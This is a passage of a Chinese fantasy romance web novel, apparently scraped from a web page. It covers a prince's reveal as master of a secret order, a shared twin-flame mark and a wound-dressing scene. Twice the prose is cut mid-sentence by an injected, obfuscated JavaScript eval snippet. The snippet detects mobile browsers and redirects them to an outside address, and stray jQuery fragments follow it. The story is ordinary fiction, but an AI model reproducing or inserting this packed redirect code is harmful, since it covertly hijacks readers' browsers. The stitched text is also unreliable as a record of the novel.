他们皆身着统一的玄色紧身劲装,脸上覆盖着冰冷的乌金面具,只露出一双双毫无温度、如寒潭古井的眼睛。
身形挺拔,气息内敛,一个个如同蛰伏在阴影中的猎豹。
在萧景珩踏入石门的那一刻,这数十名血鸦卫如同演练过千百遍,动作整齐划一,单膝跪地。
膝盖撞击金属地面的声音形成沉闷而震撼的轰鸣。
“恭迎阁主!”
低沉、整齐、带着发自内心的深处敬畏,如同闷雷般,在这巨大的地下空间轰然回荡。
血鸦阁主!
当这个身份如此直白、震撼地揭示在她眼前...
当她亲眼目睹这庞大而森严的地下王国...
当她看到这些血鸦卫对眼前这个男人的绝对臣服...
巨大的冲击力让她瞬间失声!
萧景珩不再收敛,一股如同沉睡火山苏醒般的磅礴气势,以他为中心,无声地弥漫开来。
他只是静静地站立在那里,身姿挺拔如孤峰绝仞。
那双深不见底的黑眸里不再是深沉或病弱,而是如同执掌生死的君王般,眸底深处是冰冷威严,带着俯瞰蝼蚁般的漠然!
那苍白的面容,非但不是弱点,反而更添了几分深不可测的邪异魅力!
病弱太子与暗夜主宰!
两个截然不同的身份,在他身上完美地融合、碰撞,形成一种惊心动魄且令人窒息的强大气场。
萧景珩微微抬手,动作随意却带着不容置疑的威仪。
“起。”
一个字,低沉平静。
跪地的血鸦卫齐刷刷地起身,动作迅捷无声,如同训练有素的精密机器,重新融入到周围的阴影之中,只留下空旷的演武场。
萧景珩这才缓缓转过身,黑眸平静地看向林绾绾。
“这里,暂时安全。”他的声音恢复了往日的低沉沙哑,却不再刻意掩饰那份属于上位者的从容,“寒鸦。”
“属下在。”一个身影悄无声息地从旁边阴影中闪出,正是之前在听雨轩接应林绾绾的血鸦卫。
他依旧带着乌金面具,声音冰冷无波。
“带这位小荷姑娘去休整一下。”萧景珩吩咐道。
“是。”寒鸦躬身领命,带着小荷离开。
在林绾绾没有注意的地方,小荷的眼神从怯懦变得越来越坚毅。
两人一同消失在远处一间石室的通道中。
偌大的演武场边缘,只剩下林绾绾和萧景珩两人。
令人窒息的沉默在二人之间交织。
冰冷的金属地面反射着穹顶晶石的冷光,空气里满是萧景珩身上独有的冷冽寒香。
林绾绾站在原地,感觉全身血液都在奔涌。
无数的疑问在心中交织,翻腾。
“你,到底为什么三番两次救我?还这么帮我?”林绾绾终于开口,带着一丝不易察觉的颤抖,打破了沉寂。
萧景珩静静地注视着她,看着她因激动而微微起伏的胸膛。
他没有立刻回答,只是缓缓抬起手,伸向自己玄色大氅的领口。
林绾绾吃了一惊!
他要做什么?
只见他修长的手指,解开了领口处那枚盘龙玉扣。
接着是第二颗,第三颗…
玄色的大氅被他褪下,随意地搭在臂弯。
里面依旧
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933488|176576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是那件素白的**袍,但领口已经微微敞开。
他继续抬手,指尖落在**袍左肩下方,靠近锁骨末端的位置——
那里,正是与她心口一模一样的火焰印记所在!
他的指尖缓慢而坚定,轻轻拂开了遮掩的衣料。
冷白的光线下,那抹妖异的、如同在皮肉下燃烧跳动的赤红色火焰纹路,清晰地暴露在空气中。
形状、大小、甚至那火焰跳动的韵律感,都如同她心口那个印记的镜中倒影。
双生火焰,毫无遮掩地呈现在她眼前。
“因为这个。”萧景珩每一个字都带着沉甸甸的分量。
他的目光紧紧锁定林绾绾的双眼,“也因为你自己!”
“因为…十五年前,寝殿里,那个被吓掉了手中糕点的小女孩。”
原来梦里的画面都是真的。
那个在父亲为小男孩施针时、怯生生探头的小女孩...
那个被呵斥、吓得掉落了点心的小女孩…
小林绾绾!
他竟然记得!
在深宫病榻上痛苦挣扎的小太子,竟然记得那个只有一面之缘、连名字都不知道的小姑娘!
一种酸涩瞬间席卷了她。
林绾绾看着萧景珩锁骨处与自己心口相互呼应的火焰印记,看着他那双深不见底、此刻清晰地倒映着她震惊与茫然的黑眸…
“那药箱…”她声音颤抖,几乎语不成句,“父亲的药箱,在他被**那天…”
“确实是我拿走的。”萧景珩没有丝毫犹豫,坦然承认。
他的目光坦荡而深邃,带着一种穿透时光的复杂。
“那时…我以为那里面有林家招致祸患的根源。拿走它,或许能切断一些线索,保你一线生机。”
萧景珩的声音沉了下去,带着沙哑,“只是没有想到…终究还是迟了。”
迟了…林家满门…还是被屠戮殆尽…
真相如同一把冰冷的钝刀,狠狠刨开了尘封的疤痕。
眼前这个男人所做的一切,并非为了掠夺,而是一种笨拙的保护。
若非他一次次的出手,自己早已尸骨无存!
一种复杂难言的情绪,如同雨后春笋般在心间悄然滋生…
第59章 独处一室
林绾绾看着站在自己跟前,目光坚定的萧景珩,心中五味杂陈。
眼前的他褪去了太子的伪装,展露着血鸦阁主的强大与冷酷,却又在自己跟前亲手剖开心底的隐秘。
他脸色苍白,后背与肩头上血迹刺目。
为了救自己,他是旧伤未愈又添新伤。
那双黑眸此刻带着坦荡与某种孤注一掷的期待。
林绾绾感觉自己心口的火焰纹路,不受控制的剧烈跳动起来。一股灼热的暖流自印记深处汹涌而出,瞬间流遍四肢。
与此同时,萧景珩身上的火焰印记也收到了强烈的共鸣,爆发出灼目的赤红光芒。
两道同源的力量如同无形的桥梁,跨越了两人之间数尺的距离,轰然连接。
萧景珩捂住胸口闷哼一声,身体不受控制地微微一晃。
他清晰地感受到一股精纯而灼热的能量,顺着双生火焰的链接,汹涌地钻入他的经脉。
这股力量霸道而温暖,如同滚烫的岩浆,冲刷着他体内盘踞的玄冥寒毒阴寒的死气。
“滋滋…”
细微的、如同冰雪消融的声音仿佛在萧景珩体内响起。
他苍白的脸色竟以肉眼可见的速度,泛起了一层极淡却真实存在的血色。
紧蹙的眉峰微微舒展,一直萦绕在眉宇间的沉郁病气,被这突如其来的暖流驱散了不少。
是反哺!
双生火焰的共鸣,此刻竟似有一股力量觉醒。
林绾绾情绪剧烈波动、血脉力量激荡时,竟对同源的萧景珩产生了强大的反哺滋养!
就在这时,一个略显急促的声音打破了这奇异的共鸣。
“阁主!”一名血鸦卫出现在不远处,单膝跪地,手中捧着一卷用火漆封着的细小黑筒。
“北漠‘孤狼’急报!凝霜馆有异动!笛声代表‘归巢’!”
北漠!凝霜馆!赫连灼!
林绾绾从心脉共鸣的悸动中惊醒。
萧景珩眼中刚刚因力量滋养而泛起的微澜被冰冷的锐利取代。
他迅速收敛了外溢的气息,心口的火焰印记光芒内敛。
他接过那枚黑筒,指尖用力捏碎火漆,抽出里面卷着的薄如蝉翼的素帛。
目光飞快扫过上面的内容,薄唇紧抿成一条冰冷的直线。
“知道了。告诉‘孤狼’,按兵不动,静观其变。”
萧景珩声音低沉,带着掌控全局的冷冽。
他将素帛随手丢给那名血鸦卫,后者躬身,瞬间消失在阴影中。
处理完急报,萧景珩的目光重新落回到林绾绾身上。
林绾绾此刻背靠着石壁,脸上还有一丝奇异的红晕。
“你累了,也伤了。这里的事,稍后再说。先疗伤吧。”
萧景珩的声音恢复了之前的语调,没有再继续解释什么,只是上前一步,不由分说地抓起了林绾绾的手腕。
这一次,他的掌心不再冰冷,反而带着一丝因力量滋养而残留的微暖,透过单薄的衣衫和冰凉的肌肤传递过来。
他牵着林绾绾,转身朝着演武场深处,那排被改造成炼药房的石室走去。
炼药房内,巨大的药鼎散发着余温,空气中到处都是各种草药混合的奇异香气。
萧景珩将林绾绾带到一张宽大的、铺着干净白色兽皮的石榻旁。
“坐下。”
他松开了林绾绾的手,声音带着命令式的简洁。
随即转身走向一旁巨大的药材架,动作熟练而精准地取下几个玉盒和瓷瓶。
林绾绾依言坐下,冰凉的兽皮触感让她微微一颤。
她看着萧景珩取药的动作行云流水,带着一种医者般的专注和熟稔,完全不同于那个病弱咳血的太子,也不同于血鸦阁主杀伐决断的冷酷。
这个男人…到底有多少面?
萧景珩拿着药回到石榻边。
他打开手中玉盒,里面是散发着清凉气息的淡绿色药膏,然后又拿起一个干净的白玉药杵,蘸取药膏,随后看向林绾绾。
“你的伤口需要重新处理。”
他的目光落在林绾绾的左肩胛位置,语气平淡无波,像是在说今天天气真好那般云淡风轻。
林绾绾的心猛地一跳!
她下意识地抓紧了自己的衣襟。
此刻,在这密闭的空间里,面对他…要褪下衣衫让他上药?
难以言喻的窘迫和紧张爬上她的脸
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933489|176576||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
颊。
萧景珩似乎看穿了她的迟疑。
他没有催促,只是静静地看着林绾绾,黑眸里没有狎昵,只有一种纯粹地审视伤情的平静。
但这种平静,反而让林绾绾更加无所适从。
“我…我自己来就好。”林绾绾伸手想去拿萧景珩手中的药杵。
萧景珩却微微向后一撤,避开了林绾绾的动作。
他的目光落在林绾绾因紧张而染上红晕的脸颊,薄唇几不可查地动了一下。
“你自己处理不好。”他的声音依旧低沉平静,却带着一种不容置疑的坚持,“或者,让寒鸦来?”
让那个冷冰冰、戴着面具的血鸦卫来上药?
林绾绾瞬间打了个寒颤!她宁可…
看着眼前这个坚持己见的男人,林绾绾咬了咬牙,心底那点羞赧最终还是被现实的无奈压了下去。
她垂下眼帘,长长的睫毛如同受惊的蝶翼般微微颤抖,用极低的声音答道:“还是你来吧。”
她极其僵硬地转过身,背对着萧景珩。
手指颤抖着解开腰间的系带,然后一层层褪下左肩的衣衫。
冰冷的空气接触到裸露的肌肤,激起一阵细小的战栗。
光滑白皙的肩背裸露在冷白的光线下,蚀骨掌毒残留的紫黑色印记,显得格外狰狞刺目。
林绾绾死死低着头,将脸埋在臂弯里,不敢回头,耳朵却敏锐地捕捉着身后每一个细微的声响。
她能感觉到萧景珩的靠近,感觉到他带着薄茧的指尖轻轻拂开她散落在背上的发丝…
萧景珩的动作很轻,很稳,带着专注。
冰凉的药膏被温润的白玉杵蘸取,然后轻柔地涂抹在伤口上。
药力丝丝缕缕渗入到肌肤中,带来凉爽的舒缓感。
然而,比药膏更清晰的,是萧景珩指尖偶尔不经意划过她完好肌肤时带来的、如同电流般的微麻触感,还有喷洒在她后颈处的、温热而平稳的呼吸…
萧景珩身上独有的冷香,混合着淡淡的血腥气,形成一种复杂而强烈的男性气息,将她层层包裹…
寂静的石室内,空气仿佛都凝固一般,处处弥漫着微妙悸动的暧昧。